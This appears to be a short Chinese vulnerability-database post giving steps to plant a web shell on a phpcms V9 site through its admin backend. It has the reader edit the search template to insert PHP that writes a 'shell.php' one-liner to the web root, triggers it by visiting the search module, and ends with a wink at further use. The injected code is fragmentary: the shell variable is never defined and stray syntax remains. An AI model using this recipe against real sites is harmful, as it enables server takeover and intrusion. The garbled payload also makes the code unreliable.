phpcmsV9后台拿shell

  • 发表于
  • Vulndb

search目录下面的index.html右侧的编辑
修改其模版为:

'
;
file_put_contents
(
'shell.php'
,
$shell
);?>

提交保存

然后访问:localhost/index.php?m=search

会在根目录生成一个shell.php的一句话
然后你懂的